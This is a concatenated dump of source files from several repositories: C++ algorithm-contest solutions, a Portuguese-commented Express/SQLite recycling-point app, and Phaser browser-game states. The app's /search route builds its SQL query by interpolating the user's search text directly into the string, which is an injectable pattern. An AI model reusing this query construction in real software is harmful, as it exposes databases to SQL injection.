while (n > 0) {
if (n & 1) {
ans = ans * x;
}
x = x * x;
n >>= 1;
}
return ans;
}
ll getPar(ll n){
ll res = 0;
for (int i = 0; i*2 <= n; i++) {
ll left = n-i*2;
res += pow(2, left);
}
return res;
}
int main(){
int n;
scanf("%d", &n);
ll ans = 0;
for (int i = 0; i*2 <= n; i++) {
ans += getPar(n-i*2);
}
printf("%lld\n", ans);
return 0;
}<file_sep>/fence_repair.cpp
#include<iostream>
#include<queue>
using namespace std;
priority_queue<int> L;
long long ans = 0;
void rec(){
if (L.size() <= 1) {
return;
}
int a = L.top();
L.pop();
int b = L.top();
L.pop();
ans += -(a+b);
L.push(a+b);
rec();
}
int main(){
int n;
cin >> n;
int a;
for (int i = 0; i < n; i++) {
cin >> a;
L.push(a*(-1));
}
rec();
cout << ans << endl;
return 0;
}<file_sep>/crane.cpp
#include<stdio.h>
#define _USE_MATH_DEFINES
#include <cmath>
#define MAX_N 10001
using namespace std;
const int ST_SIZE = (1 << 15) -1;
double vx[ST_SIZE], vy[ST_SIZE];
double ang[ST_SIZE];
int s[MAX_N];
double prv[MAX_N];
int n;
void init(int i, int l, int r){
ang[i] = 0.0;
vx[i] = 0.0;
if (r-l == 1) {
vy[i] = s[l];
return;
}else{
init(i*2+1, l, (r+l)/2);
init(i*2+2, (r+l)/2, r);
vy[i] = vy[i*2+1] + vy[i*2+2];
}
}
void change(int i, double a, int k, int l, int r){
printf("i:%d a:%lf k:%d l:%d r:%d\n", i, a, k, l, r);
if (i <= l) {
return;
}else if(i < r){
int chl = k*2+1;
int chr = k*2+2;
change(i, a, chl, l, (l+r)/2);
change(i, a, chr, (l+r)/2, r);
if (i <= (l+r)/2) {
ang[k] += a;
printf("k:%d ang[k]:%lf\n", k, ang[k]);
}
double cosin = cos(ang[k]);
double sine = sin(ang[k]);
vx[k] = vx[chl] + cosin*vx[chr]-sine*vy[chr];
vy[k] = vy[chl] + sine*vx[chr]+cosin*vy[chr];
}
}
int main(){
int c;
while(scanf("%d %d", &n, &c) != EOF){
for (int i = 0; i < n; i++) {
scanf("%d", &s[i]);
prv[i] = M_PI;
}
init(0, 0, n);
for (int i = 0; i < n; i++) {
printf("%lf %lf %lf\n", vx[i], vy[i], ang[i]);
}
int num;
double a;
for (int i = 0; i < c; i++) {
scanf("%d %lf", &num, &a);
double avg = a/180.0*M_PI;
change(num, avg-prv[num], 0, 0, n);
prv[num] = avg;
printf("%.2f %.2f\n", vx[0], vy[0]);
}
}
return 0;
}<file_sep>/fast_evacuation.cpp
#include<stdio.h>
#include<iostream>
#include<vector>
#include<queue>
#include<string.h>
using namespace std;
#define MAX_Y 15
#define MAX_X 15
#define MAX_V 15*15*100
char field[MAX_X][MAX_Y];
vector<int> dX, dY;
vector<int> pX, pY;
int dist[MAX_X][MAX_Y][MAX_X][MAX_Y];
int dx[4] = {-1, 1, 0, 0};
int dy[4] = {0, 0, -1, 1};
int X, Y;
vector<int> G[MAX_V];
int match[MAX_V];
bool used[MAX_V];
void add_edge(int i, int u){
G[i].push_back(u);
G[u].push_back(i);
}
bool dfs(int i){
used[i] = true;
for (int j = 0; j < G[i].size(); j++) {
int u = G[i][j], w = match[u];
if (w < 0 || (!used[w] && dfs(w))) {
match[i] = u;
match[u] = i;
return true;
}
}
return false;
}
void bfs(int x, int y, int d[MAX_X][MAX_Y]){
queue<int> qx, qy;
d[x][y] = 0;
qx.push(x);
qy.push(y);
while(!qx.empty()){
int nx = qx.front();
qx.pop();
int ny = qy.front();
qy.pop();
for(int i = 0; i < 4; i++){
int nextx = nx+dx[i], nexty = ny+dy[i];
if (nextx >= 0 && nextx < X && nexty >= 0 && nexty < Y && field[nextx][nexty] == '.' && d[nextx][nexty] < 0){
d[nextx][nexty] = d[nx][ny]+1;
qx.push(nextx);
qy.push(nexty);
}
}
}
}
void solve(){
int n = X*Y;
dX.clear();
dY.clear();
pX.clear();
pY.clear();
memset(dist, -1, sizeof(dist));
for (int i = 0; i < MAX_V; i++) {
G[i].clear();
}
for (int x = 0; x < MAX_X; x++) {
for (int y = 0; y < MAX_Y; y++) {
if (field[x][y] == 'D') {
dX.push_back(x);
dY.push_back(y);
bfs(x, y, dist[x][y]);
}else if(field[x][y] == '.'){
pX.push_back(x);
pY.push_back(y);
}
}
}
int d = dX.size(), p = pX.size();
for (int i = 0; i < d; i++) {
for (int j = 0; j < p; j++) {
if (dist[dX[i]][dY[i]][pX[j]][pY[j]] >= 0) {
for (int k = dist[dX[i]][dY[i]][pX[j]][pY[j]]; k <= n; k++) {
add_edge((k-1)*d+i, n*d+j);
}
}
}
}
if (p == 0) {
printf("0\n");
return;
}
int res = 0;
memset(match, -1, sizeof(match));
for (int i = 0; i < n*d; i++) {
memset(used, 0, sizeof(used));
if (dfs(i)) {
if (++res == p) {
printf("%d\n", (i / d + 1));
return;
}
}
}
printf("impossible\n");
}
int main(){
int t;
scanf("%d", &t);
for (int j = 0; j < t; j++) {
scanf("%d %d", &X, &Y);
memset(field, 'X', sizeof(field));
for(int i = 1; i <= X; i++){
scanf("%s", &field[i][1]);
}
solve();
}
return 0;
}
<file_sep>/k-th_number.cpp
#include<stdio.h>
#include<vector>
#include<algorithm>
#define MAX_N 100000
#define B 1000
using namespace std;
int a[MAX_N];
int num[MAX_N];
vector<int> bucket[MAX_N/B];
int main(){
int n, m;
scanf("%d%d", &n, &m);
for (int i = 0; i < n; i++) {
scanf("%d", &a[i]);
num[i] = a[i];
bucket[i/B].push_back(num[i]);
}
sort(num, num+n);
for (int i = 0; i < n/B; i++) {
sort(bucket[i].begin(), bucket[i].end());
}
int i, j, k;
for (int t = 0; t < m; t++) {
scanf("%d%d%d", &i, &j, &k);
i--;
int lb = -1;
int ub = n-1;
while(ub - lb > 1){
int mid = (lb+ub)/2;
int x = num[mid];
int tl = i, tr = j, c = 0;
while (tr > tl && tl%B != 0) {
if (a[tl++] <= x) {
c++;
}
}
while (tr > tl && tr%B != 0) {
if (a[--tr] <= x ) {
c++;
}
}
while (tl < tr) {
int b = tl/B;
c += upper_bound(bucket[b].begin(), bucket[b].end(), x) - bucket[b].begin();
tl += B;
}
if (c >= k) {
ub = mid;
}else{
lb = mid;
}
}
printf("%d\n", num[ub]);
}
return 0;
}
<file_sep>/fliptile_model.cpp
#include<iostream>
#include<stdio.h>
#include<string.h>
#define M 15
#define N 15
using namespace std;
int m, n;
int x[5] = {-1, 0,0, 0 ,1 };
int y[5] = {0,-1, 0, 1, 0 };
int flip[M][N];
int tile[M][N];
int res = -1;
int opt[M][N];
bool whilteOrNot(int i, int j){
int c = tile[i][j];
for (int k = 0; k < 5; k++) {
int x2 = i+x[k], y2 = j+y[k];
if (x2 >= 0 && x2 < m && y2 >= 0 && y2 < n) {
c += flip[x2][y2];
}
}
return c%2;
}
int cal(){
int a = 0;
for (int i = 1; i < m; i++) {
for (int j = 0; j < n; j++) {
if (whilteOrNot(i-1, j) != 0) {
flip[i][j] = 1;
}
}
}
for (int i = 0; i < n; i++) {
if (whilteOrNot(m-1, i) != 0) {
return -1;
}
}
for (int i = 0; i < m; i++) {
for (int j = 0; j < n; j++) {
if (flip[i][j] == 1) {
a++;
}
}
}
return a;
}
bool check(){
for (int i = 0; i < n; i++) {
if ((tile[m-1][i]+flip[m-1][i])%2!=0) {
return false;
}
}
return true;
}
int main(){
cin >> m >> n;
for (int i = 0; i < m; i++) {
for (int j = 0; j < n; j++) {
scanf("%d", &tile[i][j]);
}
}
for (int i = 0; i < 1 << n; i++) {
memset(flip, 0, sizeof(flip));
for (int j = 0; j < n; j++) {
int a = n-1-j;
int b = i >> j & 1;
flip[0][a] = b;
}
int num = cal();
if (num >= 0 && (num < res || res < 0)) {
res = num;
memcpy(opt, flip, sizeof(flip));
}
}
if (res < 0) {
cout << "IMPOSSIBLE" << endl;
}else{
for (int j = 0; j < m; j++) {
for (int k = 0; k < n; k++) {
printf("%d%c", opt[j][k], k+1==n ? '\n' : ' ');
}
}
}
return 0;
}<file_sep>/subsequence.cpp
#include<stdio.h>
#include<algorithm>
using namespace std;
int main(){
int t;
scanf("%d", &t);
for (int i = 0; i < t; i++) {
int n, s;
scanf("%d%d", &n, &s);
int a[n];
for (int j = 0; j < n; j++) {
scanf("%d",&a[j]);
}
int head = 0;
int sum = 0;
int ans = n+1;
int j = 0;
// for (;;) {
// while (j < n&& sum < s) {
// sum += a[j++];
// }
// if (sum < s) {
// break;
// }
// ans = min(ans, j-head);
// sum -= a[head++];
// }
for (j = 0;j < n;j++) {
sum+=a[j];
if (sum < s) {
}else if(sum == s){
ans = min(ans, j-head+1);
}else {
while (sum - a[head] > s) {
sum -= a[head];
head++;
}
ans = min(ans, j-head+1);
}
}
if (ans > n) {
ans = 0;
}
printf("%d\n",ans);
}
return 0;
}<file_sep>/saruman_army.cpp
#include<iostream>
#include<algorithm>
using namespace std;
#define N 1000
int main(){
int n, R;
int x[N];
while (1) {
cin >> R >> n;
if (n == -1 && R == -1) {
break;
}
for (int i = 0; i < n; i++) {
cin >> x[i];
}
sort(x, x+n);
int i = 0;
int prev = 0;
int ans = 0;
while (i < n) {
prev = x[i++];
while (i < n && x[i] - prev <= R) {
i++;
}
prev = x[i-1];
while (i < n && x[i] - prev <= R) {
i++;
}
ans++;
}
cout << ans << endl;
}
return 0;
} | b3b1ed63274e86036f83e706e12dc6f0c33e8aa5 | [
"C++"
] | 33 | C++ | khonthai/Algorithms | 40708317639f12cf1781d594e400c1734ca64956 | e71333f39ef01b37f08974c4ead01a301194a9c6 | |
refs/heads/main | <file_sep>function populateUFs() {
const ufSelect = document.querySelector("select[name=uf]")
fetch("https://servicodados.ibge.gov.br/api/v1/localidades/estados")
.then((res)=>{return res.json()})
.then( states => {
// ufSelect.innerHTML = ufSelect.innerHTML + `<option value="1">Valor</option>`
// ufSelect.innerHTML += `<option value="1">Valor</option>`
for(const state of states) {
ufSelect.innerHTML += `<option value="${state.id}">${state.nome}</option>`
}
})
}
populateUFs()
function getCities(event) {
const citySelect = document.querySelector("select[name=city]")
const stateInput = document.querySelector("[name=state]")
// console.log(event.target.value)
const ufValue = event.target.value
const indexOfSelectedState = event.target.selectedIndex
stateInput.value = event.target.options[indexOfSelectedState].text
const url = `https://servicodados.ibge.gov.br/api/v1/localidades/estados/${ufValue}/municipios`
citySelect.innerHTML="<option>Selecione a cidade</option>" // ***o melhor a se fazer é limpar o campo logo antes da chamada do fecth
citySelect.disabled = true //bloqueia novamente a cidade enquanto o estado não é selecionado
fetch(url)
.then((res)=>{return res.json()})
.then( cities => {
// citySelect.innerHTML = ""
//limpar o campo de cidades antes de preencher novamente,
//pois com a lógica atual, as cidades de todos os estados previamente selecionados
//estão sendo carregadas
for(const city of cities) {
// citySelect.innerHTML += `<option value="${city.id}">${city.nome}</option>`
citySelect.innerHTML += `<option value="${city.nome}">${city.nome}</option>` //Passa para o formulário
//não a id da cidade, mas sim a cidade
}
citySelect.disabled = false
})
}
document.querySelector("select[name=uf").addEventListener(
// "change", () => {console.log("ALOO")
"change",getCities)
// Dinamização dos items de coleta
// Selecionando TODOS as tags "li" dos itens
const itemsToCollect = document.querySelectorAll(".items-grid li")
for(const item of itemsToCollect) {
item.addEventListener("click", handleSelectedItem)
}
let selectedItems = [] // Vai armazenar quais itens são selecionados
const collectedItems = document.querySelector("input[name=items]") // Acessando o Input Hidden dos itens
// Estabeleci que cada item possui um event listener que, ao ser clicado,
// executará a função handleSelectedItem
function handleSelectedItem(event) {
// console.log(event.target)
// console.log(event.target.dataset.id)
// const itemId = event.target.dataset.id
const itemLi = event.target
const itemId = itemLi.dataset.id
console.log(itemId)
// adicionar ou remover classe no html com js
// if(itemLi.classList.contains('selected') == true) {
// itemLi.classList.remove('selected')
// } else {
// itemLi.classList.add('selected')
// }
itemLi.classList.toggle("selected")
//toggle() adicione ou remove se o elemento não existe ou já existe, respectivament
//Passando os itens selecionados para o BackEnd:
// Verificar se existem itens selecionados, se sim, armazená-los
const alreadySelected = selectedItems.findIndex(item => item == itemId)
// A função findIndex itera sobre o elemento acessado verificando se a função passada para
// ela é verdadeira ou falsa. Se for verdade, retorna a posição do elemento. Se não, -1
// Se já estiver selecionado:
if(alreadySelected >= 0) {
// Remover da seleção
const filteredItems = selectedItems.filter( item => {
// A função filter itera sobre o elemebto acessado avaliando a função passada. Os elementos
// que forem avaliados como verdadeiros serão mantidos, os que não, serão removidos.
const itemIsDifferent = item != itemId
return itemIsDifferent
})
selectedItems = filteredItems
} else {
// Adiciona à seleção
selectedItems.push(itemId)
}
// Depois, basta atualizar o hidden input com os itens
collectedItems.value = selectedItems
}
// Inclusive todos os filhos dos "li" receberam um event listener, assim, clicando-se na imag em
// ou no texto obeteremos as tags respectivas
// Posso evitar esse click nos filhos de um elemento no próprio css<file_sep>// importar a dependência do sqlite3
const sqlite3 = require("sqlite3").verbose() //configurei com o método verbose() o sqlite
// para que apareça as msgs do banco no terminal
const db = new sqlite3.Database("./src/database/database.db") //Outra forma de criar um objeto,
// new inicia um outro objeto desde que o que se está sendo retornar seja um construtor/classe
// cria o bando de dados no caminho designado
// Exportando o arquivo do banco de dados para a possibilidade de uso da aplicação:
module.exports = db
// o module.exports consegue disponibiizar a variável db para uso de arquivos externos
// utilizando o objeto banco de dados para as operações:
// db.serialize(() => {
// // com comandos SQL eu vou:
// // crase me permite fazer quebra de linha dentro do argumento do método
// // 1 Criar uma tabela
// db.run(`
// CREATE TABLE IF NOT EXISTS places (
// id INTEGER PRIMARY KEY AUTOINCREMENT,
// image TEXT,
// name TEXT,
// address TEXT,
// address2 TEXT,
// state TEXT,
// city TEXT,
// items TEXT
// );
// `) //template-nitrous //os places são os campos da tabela
// // 2 Inserir dados na tabela
// // db.run(`
// // INSERT INTO places (
// // image,
// // name,
// // address,
// // address2,
// // state,
// // city,
// // items
// // ) VALUES (?,?,?,?,?,?,?);
// // `)
// const query =
// `INSERT INTO places (
// image,
// name,
// address,
// address2,
// state,
// city,
// items
// ) VALUES (?,?,?,?,?,?,?);
// `
// const values = [
// // "https://images.unsplash.com/photo-1528323273322-d81458248d40?ixlib=rb-1.2.1&ixid=eyJhcHBfaWQiOjEyMDd9&auto=format&fit=crop&w=900&q=60",
// // "Colectoria",
// // "<NAME>, <NAME>",
// // "N° 260",
// // "Santa Catarina",
// // "Rio do Sul",
// // "Resíduos Eletrônicos, Lâmpadas"
// "https://images.unsplash.com/photo-1567393528677-d6adae7d4a0a?ixlib=rb-1.2.1&ixid=eyJhcHBfaWQiOjEyMDd9&auto=format&fit=crop&w=900&q=60",
// "Papersider",
// "<NAME>, <NAME>",
// "N° 260",
// "Santa Catarina",
// "Rio do Sul",
// "Resíduos Eletrônicos, Lâmpadas"
// ]
// function afterInsertData(err) {
// if(err) {
// return console.log(err)
// }
// console.log("Cadastrado com sucesso")
// console.log(this)
// } //recebe um possível erro no cadastro
// db.run(query, values, afterInsertData) //como 3° argumento é passada uma função,
// //callback que irá rodar assim que a run terminar de rodar
// // 3 Consultar os dados da tabela
// // db.all(`SELECT name FROM places`, function(err, rows) {
// // if (err) {
// // return console.log(err)
// // }
// // console.log("Aqui estão seus registros: ")
// // console.log(rows)
// // } )
// // 4 Deletar um dado da tabela
// // db.run(`DELETE FROM places WHERE id = ?`, [3], function(err) {
// // if (err) {
// // return console.log(err)
// // }
// // console.log("Registro deletado com sucesso!")
// // })
// })<file_sep>const express = require("express") // Forma de usar o Express, estou fazendo a requisição do mesmo,
// e à armazaenando numa variável
const server = express() // A variável express recebeu uma função Express, que está sendo executada
// e atribuída ao server
// Acessando o Bando de Dados
const db = require("./database/db") // Nesse caso não precisa colocar db.js
// Configurar pasta public
server.use(express.static("public"))
// Habilitar o uso do req.body no servidor
server.use(express.urlencoded({ extended: true }))
// Utilizando template-engine Nunjucks
const nunjucks = require("nunjucks")
nunjucks.configure("src/views", {
express: server,
noCache: true
})
// Para configurar o nunjucks devo passar 2 argumentos: a pasta onde se encontram os html, um objeto
// (que no caso contém o nome do servidor e a opção de não usar cache, pois pode fazer a aplicação
// apresentar bugs no desenvolvimento)
// req: Requisição
// res: Resposta
// Configurar caminhos da minha aplicação página inicial
server.get("/", (req, res) => {
// res.send("Alo")
// res.sendFile(__dirname + "/views/index.html") //__dirname é uma variável global já existente
// que guarda o nome do diretório atual.
return res.render("index.html", {
title: "Seu marketplace de coleta de resíduos"
} )
// antes de devolver a página em html puro, ela deve ser renderizada pela template-engine.
// Posso retirar o caminho anterior, à página, pois já configurei no Nunjucks.
// O segundo argumento passado é um objeto contendo um par "key" e "value", cuja a
// "key deve corresponder à que está sendo usada no html"
})
server.get("/create-point", (req, res) => {
// res.sendFile(__dirname + "/views/create-point.html")
// É essa rota que recebe os dados do formulário, portanto vamos
// enviar os dados para o banco
// req.query: acesso aos Query Strings da url
// console.log(req.query)
return res.render("create-point.html")
})
// o método .post usa o parâmetro POST na rota para enviar as iformações de uma maneira diferente,
// mais segura. Não deixa os dados aparecerem na url.
// server.post("/create-point") poderia ser a mesma rota de antes, mas com o POST. Mas, para treinar:
server.post("/savepoint", (req,res) => {
// console.log(req.query) //Eu não consigo mais pegar os dados do formulário pelo req.query com o POST
// req.body: é o corpo do formulário
// console.log(req.body) // por padrão o Express não está habilitado a receber o .body, o corpo da req
// por isso dá undefined. Basta habilitar em cima
// inserindo os dados no banco:
const query =
`INSERT INTO places (
image,
name,
address,
address2,
state,
city,
items
) VALUES (?,?,?,?,?,?,?);
`
const values = [
req.body.image,
req.body.name,
req.body.address,
req.body.address2,
req.body.state,
req.body.city,
req.body.items //nesse caso, a vírgula final pode, só não pode no SQL
]
// recebe um possível erro no cadastro:
function afterInsertData(err) {
if(err) {
return console.log(err)
}
console.log("Cadastrado com sucesso")
console.log(this)
// return res.send("ok") // Agora ele retorna a confirmação de cadastro no banco só depois
// de terminar a execução da callback.
return res.render("create-point.html", { saved: true }) // renderizar a create-point
// para que o modal de confirmação possa aparecer.
}
db.run(query, values, afterInsertData) //como 3° argumento é passada uma função, callback que irá
// rodar assim que a run terminar de rodar.
// return res.send("ok") //no navegar aparece Cannot GET /savepoint, pois o navegador e o
// formulário por padrão usam o GET.
})
server.get("/search", (req, res) => {
// return res.render("search-results.html")
// Escrevendo a lógica do formulário de pesquisa
const search = req.query.search // Retorna as Querys da pesquisa
// Se pesquisa estiver com campo vazio:
if (search == "") {
return res.render("search-results.html", { total: 0 })
}
// Para procurar e apresentar os dados de forma dinâmica, devemos primeiro ter acesso ao banco de dados
// Acessando o banco:
// db.all(`SELECT * FROM places`, function(err, rows) {
// db.all(`SELECT * FROM places WHERE city = '${search}'`, function(err, rows) {
// como estamos usando Query Literals, pode-se interpolar uma variável na Query,
// bastando usar '${variável}'. Deve estar entre aspas simples para que no SQL
// ela seja interpretada como string.
// Utilizar o LIKE e o % dentro dos aspas permite a busca por strings que contenham a string comparada
// no antes ou depois.
db.all(`SELECT * FROM places WHERE city LIKE '%${search}%'`, function(err, rows) {
if (err) {
console.log(err)
return res.send("Erro de cadastro")
// para que a msg de erro apareça para o usuário também, não só no console.
}
console.log("Aqui estão seus registros: ")
console.log(rows)
const total = rows.length
//Conta a quatidade de colunas da tabela, e consequentemente quantas pontos cadastrados.
// Monstrando a página html com os dados do banco:
// return res.render("search-results.html", { places: rows })
// return res.render("search-results.html", { places: rows, total: total })
return res.render("search-results.html", { places: rows, total })
// no JS, quando a key e o value são iguais, possa passar só um.
})
// return res.render("search-results.html", {places: rows}) //Aqui está fora do escopo de rows,
// Deve-se retornar dentro da função que recebe rows.
})
// "ligando" o servidor
server.listen(3000) //listen é uma função que "ouve" a porta especificada quando o arquivo JS for executado
| bc8ebd08689f9014e986b25cb21f12e136d4919d | [
"JavaScript"
] | 3 | JavaScript | pedrofbr0/ecoleta-nlw1 | 58ef3f35bac95f31595eb5c40acf337c6d833985 | 87391b6cb3f532752b5dfd9031b7263e6264aa46 | |
refs/heads/master | <file_sep>## Etch-A-Sketch - Odin Project
https://www.theodinproject.com/lessons/etch-a-sketch-project<file_sep>
const container = document.querySelector('.grid-container');
for (let i = 0; i < 16; i++) {
let div = document.createElement('div');
container.appendChild(div);
}
| 375422bf3a04080972ea18f0d1f93095e872806b | [
"Markdown",
"JavaScript"
] | 2 | Markdown | joshgunter/etch-a-sketch | fde894683c818a3b7f94b87539156c6e4a86284c | debc27d35e672cbd3cf6fbac00a751b329890976 | |
refs/heads/master | <file_sep># frozen_string_literal: true
module Que
VERSION = '1.0.0.beta2'
end
| f1966afa8a696b7490b3c9da0953e331bbc11d70 | [
"Ruby"
] | 1 | Ruby | bgentry/que | a253177d9a2db5a0c65e59b5939cb83224257ffd | b5b24104c7162e88678163e5403dcba3eb15ec56 | |
refs/heads/main | <file_sep><?php
//文字の四則演算を入力し、その結果を計算する
//DEMOページ:http://34.127.11.233/Programe_Practice/
//ページに入った後、四則演算を押してください。
$Formula = $_POST["Formula"];
$InputCheck = "/^[0-9\+\-\*\/\(\)]+$/";
if(preg_match($InputCheck, $Formula)){
$Number = str_split($Formula);
$Temp = array();
$TempCount = 0;
$Operation = array("+", "-", "*", "/");
foreach($Number as $Item){
if($Item == "("){
$TempCount++;
}else if(($Item == ")")){
$TempCount--;
$Temp[$TempCount] .= Calculation($Temp[$TempCount+1], $Operation);
$Temp[$TempCount+1] = "";
}else{
$Temp[$TempCount] .= $Item;
}
}
$Answer = Calculation($Temp[0], $Operation);
echo $Formula."=".$Answer;
}else{
if(!isset($Formula) || trim($Formula) === ''){
echo "";
}else{
echo "ERROR";
}
}
function Calculation($Value, $Operation){
if(count($Operation)<=0){
return $Value;
}
$Op = array_shift($Operation);
$Number = str_split($Value);
$Temp = array();
$TempCount = 0;
foreach($Number as $Item){
if($Item == $Op){
$Temp[$TempCount] = Calculation($Temp[$TempCount], $Operation);
$TempCount ++;
}else{
$Temp[$TempCount] .= $Item;
}
}
$Temp[$TempCount] = Calculation($Temp[$TempCount], $Operation);
$Cal = array_shift($Temp);
switch ($Op) {
case "+":
foreach($Temp as $Item){
$Cal += floatval($Item);
}
break;
case "-":
foreach($Temp as $Item){
$Cal -= floatval($Item);
}
break;
case "*":
foreach($Temp as $Item){
$Cal *= floatval($Item);
}
break;
case "/":
foreach($Temp as $Item){
$Cal /= floatval($Item);
}
break;
}
return $Cal;
}
?>
| 855364b34854c5dfd04e3d7ff8a246b3c42e0b43 | [
"PHP"
] | 1 | PHP | Tame394824/CalculateStringFormula | 1f100fc00d473bb952b21a92f37926a69226eac2 | 00ff62146045fcae40ab1c7a42a4ce26c8243016 | |
refs/heads/master | <file_sep>
BasicGame.Game = function (game) {
// When a State is added to Phaser it automatically has the following properties set on it, even if they already exist:
this.game; // a reference to the currently running game (Phaser.Game)
this.add; // used to add sprites, text, groups, etc (Phaser.GameObjectFactory)
this.camera; // a reference to the game camera (Phaser.Camera)
this.cache; // the game cache (Phaser.Cache)
this.input; // the global input manager. You can access this.input.keyboard, this.input.mouse, as well from it. (Phaser.Input)
this.load; // for preloading assets (Phaser.Loader)
this.math; // lots of useful common math operations (Phaser.Math)
this.sound; // the sound manager - add a sound, play one, set-up markers, etc (Phaser.SoundManager)
this.stage; // the game stage (Phaser.Stage)
this.time; // the clock (Phaser.Time)
this.tweens; // the tween manager (Phaser.TweenManager)
this.state; // the state manager (Phaser.StateManager)
this.world; // the game world (Phaser.World)
this.particles; // the particle manager (Phaser.Particles)
this.physics; // the physics manager (Phaser.Physics)
this.rnd; // the repeatable random number generator (Phaser.RandomDataGenerator)
// I added these. These should probably be just a global variable or something
this.background;
this.player;
this.mike;
this.gameover = false;
this.fHearts;
};
// Global Variables for Game
var map;
var layer;
var cursors;
var moveSpeed = 10;
var triggers = [];
var messages = [];
var clouds = [];
BasicGame.Game.prototype = {
create: function () {
this.background = this.add.tileSprite(0, 0, window.innerWidth, 2000, 'background');
this.background.tileScale.y = 2;
map = this.add.tilemap('map', 64, 64);
// Now add in the tileset
map.addTilesetImage('tiles');
// Create our layer
layer = map.createLayer(0);
// Resize the world
layer.resizeWorld();
// Allow cursors to scroll around the map
cursors = this.input.keyboard.createCursorKeys();
// Trees
/*this.add.sprite(75, 400, 'tree');
this.add.sprite(155, 410, 'tree');
this.add.sprite(410, 390, 'tree');
this.add.sprite(900, 400, 'tree');
*/
for(var i = 0; i < 30; i++) {
var cloud = this.add.sprite(i * 512, 0, 'cloud');
var r = Math.random() %2 * 10;
cloud.scale.setTo(r);
clouds.push(cloud);
}
// Intro text
this.add.sprite(50, 50, 'introText');
// *********************************************
// Cafe Setup
// *********************************************
var cafe = this.add.sprite(1200, 0, 'cafeShop');
cafe.scale.setTo(10);
// People in the cafe
var person1 = this.add.sprite(1350, 380, 'woman1');
person1.scale.setTo(10);
// Create a trigger box that is hidden as well as a message box
var trigger1 = this.add.sprite(1102, 0, 'hitbox')
triggers.push(trigger1);
var message1 = this.add.sprite(1275, 320, 'message1');
message1.visible = false;
message1.scale.setTo(4);
messages.push(message1);
var person2 = this.add.sprite(1835, 400, 'man2');
person2.scale.setTo(10);
var trigger2 = this.add.sprite(1552, 0, 'hitbox')
triggers.push(trigger2);
var message2 = this.add.sprite(1750, 320, 'message2');
message2.visible = false;
message2.scale.setTo(4);
messages.push(message2);
// **********************************************
// Elevator Setup
// **********************************************
var elevator = this.add.sprite(3600, 0, 'elevator');
elevator.scale.setTo(10);
// People in/at the elevator
var person8 =this.add.sprite(2775, 400, 'man2');
person8.scale.setTo(10);
var trigger8 = this.add.sprite(2422, 0, 'hitbox');
triggers.push(trigger8);
var message8 = this.add.sprite(2595, 320, 'message1');
message8.visible = false;
message8.scale.setTo(4);
messages.push(message8);
var person3 =this.add.sprite(4100, 400, 'man1');
person3.scale.setTo(10);
var trigger3 = this.add.sprite(3802, 0, 'hitbox');
triggers.push(trigger3);
var message3 = this.add.sprite(3975, 320, 'message3');
message3.visible = false;
message3.scale.setTo(4);
messages.push(message3);
// **********************************************
// Tunes @ 8 Setup
// **********************************************
var tat8 = this.add.sprite(6000, 0, 'tat8');
tat8.scale.setTo(10);
// People at tunes at 8
var person4 =this.add.sprite(5875, 400, 'woman2');
person4.scale.setTo(10);
var person5 =this.add.sprite(5910, 500, 'woman1');
person5.scale.setTo(10);
var person6 = this.add.sprite(6525, 400, 'man1');
person6.scale.setTo(10);
var person7 =this.add.sprite(6625, 500, 'man2');
person7.scale.setTo(10);
var trigger3 = this.add.sprite(6182, 0, 'hitbox')
triggers.push(trigger3);
var message4 = this.add.sprite(6355, 320, 'message3');
message4.visible = false;
message4.scale.setTo(4);
messages.push(message4);
var arch = this.add.sprite(8400, 0, 'arch');
arch.scale.setTo(10);
this.mike = this.add.sprite(8915, 370, 'mike');
this.mike.scale.setTo(10);
// Fabi
this.player = this.add.sprite(312, 400, 'fabi');
this.player.scale.setTo(10);
this.fHearts = this.add.emitter(9075, 250, 150);
this.fHearts.width = 300;
this.fHearts.makeParticles('heart');
this.fHearts.minParticleSpeed.set(0, 300);
this.fHearts.maxParticleSpeed.set(0, 400);
this.fHearts.setRotation(0, 360);
this.fHearts.setAlpha(1, 0.01, 1000);
this.fHearts.setScale(0.5, 0.5, 4, 4);
//this.fHearts.start(false, 2000, 100)
},
update: function () {
// Move the clouds
for( var i = 0; i < clouds.length; i++ )
{
clouds[i].x -= 0.5;
}
if(this.gameover)
{
return;
}
var playerRect = new Phaser.Rectangle(this.player.x, this.player.y, this.player._frame.right, this.player._frame.bottom);
var mikeRect = new Phaser.Rectangle(this.mike.x - 50, this.mike.y, this.mike._frame.right, this.mike._frame.bottom);
if( cursors.up.isDown)
{
console.log(playerRect);
}
if (cursors.left.isDown)
{
this.camera.x -= moveSpeed;
this.player.x -= moveSpeed;
if( this.player.x < 312 )
this.player.x = 312;
}
else if (cursors.right.isDown || this.input.pointer1.isDown)
{
this.camera.x += moveSpeed;
this.player.x += moveSpeed;
if( this.player.x > this.world.width - 512 )
{
this.player.x = this.world.width - 512;
}
}
// Check to see if player is intersecting a trigger box
for(var i = 0; i < triggers.length; i++)
{
var t = triggers[i];
var triggerRect = new Phaser.Rectangle(t.x, t.y, t._frame.right, t._frame.bottom);
if( Phaser.Rectangle.intersects(playerRect, triggerRect) )
{
console.log("collided");
messages[i].visible = true;
}
else
{
messages[i].visible = false;
}
}
// Check to see if Fabi intersects with mike
if(Phaser.Rectangle.intersects(playerRect, mikeRect))
{
this.gameover = true;
this.fHearts.start(false, 2000, 100);
}
this.background.x = this.camera.x;
},
quitGame: function (pointer) {
// Here you should destroy anything you no longer need.
// Stop music, delete sprites, purge caches, free resources, all that good stuff.
// Then let's go back to the main menu.
this.state.start('MainMenu');
}
};
<file_sep>
BasicGame.MainMenu = function (game) {
this.music = null;
this.playButton = null;
};
var pHearts;
BasicGame.MainMenu.prototype = {
create: function () {
// We've already preloaded our assets, so let's kick right into the Main Menu itself.
// Here all we're doing is playing some music and adding a picture and button
// Naturally I expect you to do something significantly better :)
//this.music = this.add.audio('titleMusic');
//this.music.play();
this.add.tileSprite(0, 0, window.innerWidth, window.innerHeight, 'titlebackground');
var heart = this.add.sprite(150, 0, 'heart');
heart.scale.setTo(12,12);
this.add.sprite(190, 0, 'titlepage');
this.playButton = this.add.button(450, 500, 'playButton', this.startGame, this);
//this.state.start('Game');
pHearts = this.add.emitter(0, 0, 50);
pHearts.width = 150;
pHearts.makeParticles('heart');
pHearts.minParticleSpeed.set(0, 300);
pHearts.maxParticleSpeed.set(0, 400);
pHearts.setRotation(0, 360);
pHearts.setAlpha(1, 0.01, 800);
pHearts.setScale(0.5, 0.5, 4, 4);
pHearts.start(false, 2000, 100);
},
update: function () {
// Do some nice funky main menu effect here
pHearts.x = this.input.activePointer.position.x;
pHearts.y = this.input.activePointer.position.y;
},
startGame: function (pointer) {
